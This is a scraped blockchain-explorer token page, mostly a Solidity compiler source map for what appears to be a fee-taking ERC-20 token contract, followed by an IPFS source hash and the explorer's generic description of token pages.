;11286:136;;;;11433:79;11448:7;11457:8;11467:9;11478:6;11486:9;11497:14;11433;:79::i;:::-;8940:2580;;;8862:2658;;;:::o;1832:224::-;1952:7;1988:12;1980:6;;;;1972:29;;;;-1:-1:-1;;;1972:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2012:9:0;2024:5;2028:1;2024;:5;:::i;:::-;2012:17;1832:224;-1:-1:-1;;;;;1832:224:0:o;13983:92::-;14040:10;;:27;;-1:-1:-1;;;;;14040:10:0;;;;:27;;;;;14060:6;;14040:10;:27;:10;:27;14060:6;14040:10;:27;;;;;;;;;;;;;;;;;;;7253:257;-1:-1:-1;;;;;7366:18:0;;;;;;:9;:18;;;;;;:29;;7389:5;7366:22;:29::i;:::-;-1:-1:-1;;;;;7345:18:0;;;;;;;:9;:18;;;;;;:50;;;;7426:17;;;;;;;:28;;7448:5;7426:21;:28::i;:::-;-1:-1:-1;;;;;7406:17:0;;;;;;;:9;:17;;;;;;;:48;;;;7470:32;;;;;;;;;;7496:5;1500:25:1;;1488:2;1473:18;;1354:177;11687:107:0;11744:7;11776:1;11772;:5;11771:15;;11785:1;11771:15;;;11781:1;11771:15;11764:22;11687:107;-1:-1:-1;;;11687:107:0:o;12005:483::-;5756:6;:13;;-1:-1:-1;;5756:13:0;;;;;12107:16:::1;::::0;;12121:1:::1;12107:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12107:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12107:16:0::1;12083:40;;12152:4;12134;12139:1;12134:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12134:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12178:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12178:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12134:7;;12178:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12168:4;12173:1;12168:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12168:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12243:15:::1;::::0;12211:62:::1;::::0;12228:4:::1;::::0;12243:15:::1;12261:11:::0;12211:8:::1;:62::i;:::-;12284:15;::::0;:196:::1;::::0;-1:-1:-1;;;12284:196:0;;-1:-1:-1;;;;;12284:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12365:11;;12284:15:::1;::::0;12407:4;;12434::::1;::::0;12454:15:::1;::::0;12284:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5792:6:0;:14;;-1:-1:-1;;5792:14:0;;;-1:-1:-1;;;;12005:483:0:o;11528:151::-;-1:-1:-1;;;;;11618:27:0;;11591:7;11618:27;;;:18;:27;;;;;;;;:53;;11666:4;11618:53;;;-1:-1:-1;11648:7:0;11528:151::o;12496:1192::-;-1:-1:-1;;;;;12733:27:0;;12626:7;12733:27;;;:18;:27;;;;;;12626:7;;;;12712:6;;12733:27;;12729:907;;;12789:33;12818:3;12789:24;:6;12818:3;12789:10;:24::i;:::-;:28;;:33::i;:::-;12777:45;;12729:907;;;12869:13;;-1:-1:-1;;;;;12858:24:0;;;12869:13;;12858:24;:76;;;;-1:-1:-1;12918:15:0;;-1:-1:-1;;;;;12899:35:0;;;12918:15;;12899:35;;12858:76;:121;;;;-1:-1:-1;;;;;;12952:27:0;;;;;;:18;:27;;;;;;;;12951:28;12858:121;12840:796;;;13018:208;13222:3;13018:181;13082:15;;13070:9;;:27;13069:111;;13166:14;;13069:111;;;13126:12;;13069:111;13018:6;;:28;:181::i;:208::-;13006:220;-1:-1:-1;13241:27:0;13006:220;13241:27;;:::i;:::-;;;12840:796;;;13301:13;;-1:-1:-1;;;;;13290:24:0;;;13301:13;;13290:24;:52;;;;-1:-1:-1;;;;;;13318:24:0;;13337:4;13318:24;;13290:52;13286:350;;;13371:211;13578:3;13371:184;13435:16;;13423:9;;:28;13422:114;;13521:15;;13422:114;;;13480:13;;13371:6;;:28;:184::i;:211::-;13359:223;-1:-1:-1;13597:27:0;13359:223;13597:27;;:::i;:::-;;;13286:350;13654:9;;;;-1:-1:-1;12496:1192:0;-1:-1:-1;;;;12496:1192:0:o;8315:539::-;8479:13;;8475:165;;-1:-1:-1;;;;;8532:20:0;;;;;;:9;:20;;;;;;:35;;8557:9;8532:24;:35::i;:::-;-1:-1:-1;;;;;8509:20:0;;;;;;;:9;:20;;;;;;;:58;;;;8587:41;;;;;;;;;;8618:9;1500:25:1;;1488:2;1473:18;;1354:177;8587:41:0;;;;;;;;8475:165;-1:-1:-1;;;;;8675:20:0;;;;;;:9;:20;;;;;;:32;;8700:6;8675:24;:32::i;:::-;-1:-1:-1;;;;;8652:20:0;;;;;;;:9;:20;;;;;;:55;;;;8742:21;;;;;;;:41;;8768:14;8742:25;:41::i;:::-;-1:-1:-1;;;;;8718:21:0;;;;;;;:9;:21;;;;;;;:65;;;;8799:47;;;;;;;;;;8831:14;1500:25:1;;1488:2;1473:18;;1354:177;8799:47:0;;;;;;;;8315:539;;;;;;:::o;1688:136::-;1746:7;1773:43;1777:1;1780;1773:43;;;;;;;;;;;;;;;;;:3;:43::i;1501:179::-;1559:7;;1591:5;1595:1;1591;:5;:::i;:::-;1579:17;;1620:1;1615;:6;;1607:46;;;;-1:-1:-1;;;1607:46:0;;13900:2:1;1607:46:0;;;13882:21:1;13939:2;13919:18;;;13912:30;13978:29;13958:18;;;13951:57;14025:18;;1607:46:0;13698:351:1;2064:246:0;2122:7;2146:1;2151;2146:6;2142:47;;-1:-1:-1;2176:1:0;2169:8;;2142:47;2199:9;2211:5;2215:1;2211;:5;:::i;:::-;2199:17;-1:-1:-1;2244:1:0;2235:5;2239:1;2199:17;2235:5;:::i;:::-;:10;2227:56;;;;-1:-1:-1;;;2227:56:0;;14478:2:1;2227:56:0;;;14460:21:1;14517:2;14497:18;;;14490:30;14556:34;14536:18;;;14529:62;-1:-1:-1;;;14607:18:1;;;14600:31;14648:19;;2227:56:0;14276:397:1;2318:132:0;2376:7;2403:39;2407:1;2410;2403:39;;;;;;;;;;;;;;;;;2578:7;2613:12;2606:5;2598:28;;;;-1:-1:-1;;;2598:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2637:9:0;2649:5;2653:1;2649;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-1:-1:-1;;;;;;;;2318:1121:1:o;3444:247::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;3611:9;3598:23;3630:31;3655:5;3630:31;:::i;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:422;4518:1;4561:5;4518:1;4575:270;4596:7;4586:8;4583:21;4575:270;;;4655:4;4651:1;4647:6;4643:17;4637:4;4634:27;4631:53;;;4664:18;;:::i;:::-;4714:7;4704:8;4700:22;4697:55;;;4734:16;;;;4697:55;4813:22;;;;4773:15;;;;4575:270;;;4579:3;4429:422;;;;;:::o;4856:806::-;4905:5;4935:8;4925:80;;-1:-1:-1;4976:1:1;4990:5;;4925:80;5024:4;5014:76;;-1:-1:-1;5061:1:1;5075:5;;5014:76;5106:4;5124:1;5119:59;;;;5192:1;5187:130;;;;5099:218;;5119:59;5149:1;5140:10;;5163:5;;;5187:130;5224:3;5214:8;5211:17;5208:43;;;5231:18;;:::i;:::-;-1:-1:-1;;5287:1:1;5273:16;;5302:5;;5099:218;;5401:2;5391:8;5388:16;5382:3;5376:4;5373:13;5369:36;5363:2;5353:8;5350:16;5345:2;5339:4;5336:12;5332:35;5329:77;5326:159;;;-1:-1:-1;5438:19:1;;;5470:5;;5326:159;5517:34;5542:8;5536:4;5517:34;:::i;:::-;5587:6;5583:1;5579:6;5575:19;5566:7;5563:32;5560:58;;;5598:18;;:::i;:::-;5636:20;;4856:806;-1:-1:-1;;;4856:806:1:o;5667:140::-;5725:5;5754:47;5795:4;5785:8;5781:19;5775:4;5754:47;:::i;5812:168::-;5885:9;;;5916;;5933:15;;;5927:22;;5913:37;5903:71;;5954:18;;:::i;5985:356::-;6187:2;6169:21;;;6206:18;;;6199:30;6265:34;6260:2;6245:18;;6238:62;6332:2;6317:18;;5985:356::o;6346:127::-;6407:10;6402:3;6398:20;6395:1;6388:31;6438:4;6435:1;6428:15;6462:4;6459:1;6452:15;6478:135;6517:3;6538:17;;;6535:43;;6558:18;;:::i;:::-;-1:-1:-1;6605:1:1;6594:13;;6478:135::o;7315:251::-;7385:6;7438:2;7426:9;7417:7;7413:23;7409:32;7406:52;;;7454:1;7451;7444:12;7406:52;7486:9;7480:16;7505:31;7530:5;7505:31;:::i;8492:306::-;8580:6;8588;8596;8649:2;8637:9;8628:7;8624:23;8620:32;8617:52;;;8665:1;8662;8655:12;8617:52;8694:9;8688:16;8678:26;;8744:2;8733:9;8729:18;8723:25;8713:35;;8788:2;8777:9;8773:18;8767:25;8757:35;;8492:306;;;;;:::o;9082:277::-;9149:6;9202:2;9190:9;9181:7;9177:23;9173:32;9170:52;;;9218:1;9215;9208:12;9170:52;9250:9;9244:16;9303:5;9296:13;9289:21;9282:5;9279:32;9269:60;;9325:1;9322;9315:12;12095:125;12160:9;;;12181:10;;;12178:36;;;12194:18;;:::i;12580:128::-;12647:9;;;12668:11;;;12665:37;;;12682:18;;:::i;12713:980::-;12975:4;13023:3;13012:9;13008:19;13054:6;13043:9;13036:25;13080:2;13118:6;13113:2;13102:9;13098:18;13091:34;13161:3;13156:2;13145:9;13141:18;13134:31;13185:6;13220;13214:13;13251:6;13243;13236:22;13289:3;13278:9;13274:19;13267:26;;13328:2;13320:6;13316:15;13302:29;;13349:1;13359:195;13373:6;13370:1;13367:13;13359:195;;;13438:13;;-1:-1:-1;;;;;13434:39:1;13422:52;;13529:15;;;;13494:12;;;;13470:1;13388:9;13359:195;;;-1:-1:-1;;;;;;;13610:32:1;;;;13605:2;13590:18;;13583:60;-1:-1:-1;;;13674:3:1;13659:19;13652:35;13571:3;12713:980;-1:-1:-1;;;12713:980:1:o;14054:217::-;14094:1;14120;14110:132;;14164:10;14159:3;14155:20;14152:1;14145:31;14199:4;14196:1;14189:15;14227:4;14224:1;14217:15;14110:132;-1:-1:-1;14256:9:1;;14054:217::o

Swarm Source

ipfs://dadc4eb257814fd89c1d9ced406c8925ce02dfe2c40fdb6004c668d66045c0b7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.